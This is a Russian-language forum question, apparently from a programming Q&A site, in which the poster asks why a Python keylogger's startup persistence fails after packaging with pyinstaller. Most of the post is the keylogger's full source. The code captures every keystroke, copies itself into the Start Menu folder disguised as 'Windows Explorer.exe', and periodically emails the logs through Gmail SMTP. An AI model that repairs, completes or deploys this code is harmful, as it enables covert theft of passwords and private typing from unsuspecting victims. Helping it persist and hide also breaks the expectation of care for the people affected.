Кейлоггер не работает постоянно или не работает при запуске Windows
Я пишу кейлоггер на python, и все работает нормально, пока я не попытался сделать его постоянным, когда я конвертирую свою программу в исполняемый файл с помощью pyinstaller, все работает отлично, кроме постоянства, и не показывает никаких ошибок во время выполнения .. Я попытался добавить свою программу в реестр, используя subprocess.call для выполнения команды reg add, которая добавит мой путь к программе в реестр, но она все еще не запускалась при запуске системы или даже не копировала файл в каталог appdata .. Я не уверен, что я делаю не так, это мой код ниже, попробуйте и дайте мне знать, если я что-то не понимаю, заранее большое спасибо всем, кто может мне помочь.
'''
#/usr/bin/env python
import pynput.keyboard, threading, smtplib
import requests, json, os, shutil, sys, subprocess
class Keylogger:
#constructor method, any code put in it will be executed automatically when we create the object
def __init__(self, time_interval, email, password):
self.persistence()
self.log = "Keylogger Started At: \n\n"
self.interval = time_interval
self.email = email
self.password = password
def persistence(self):
file_location = os.environ['appdata'] + "\Microsoft\Windows\Start Menu\Programs\\Windows Explorer.exe"
file_path = os.path.dirname(os.path.realpath(sys.executable))
source_file_name="keylogger1.exe"
current_file_locate = os.path.join(file_path,source_file_name)
if not os.path.isfile(file_location):
shutil.copy(current_file_locate, file_location)
def append_to_log(self, string):
self.log = self.log + string
def key_pressed(self, key):
try:
current_key = str(key.char)
except AttributeError:
#making code to give space instead of writing key.space
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)
#using threading to set timer for reports, call the sendmail method and setting a callback function
def send_report(self):
self.send_mail(self.email, self.password, "\n\n" + self.log)
self.log = " "
timer = threading.Timer(self.interval, self.send_report)
timer.start()
def send_mail(self, email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587) # using google smtp server with the default port
server.starttls()
server.login(email, password) #loginto the server
server.sendmail(email, email, message)
server.quit()
#calling the listener layer from pynput.keyboard and passing a callback function that we want to be executed anytime the user press a key on the keyboard (on_press)
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.key_pressed)
with keyboard_listener:
self.send_report()
keyboard_listener.join()
#/usr/bin/env python
#importing the zlogger file
import zlogger
import subprocess, sys
run_keylogger = zlogger.Keylogger(150, "my_email, "mypass")
run_keylogger.start()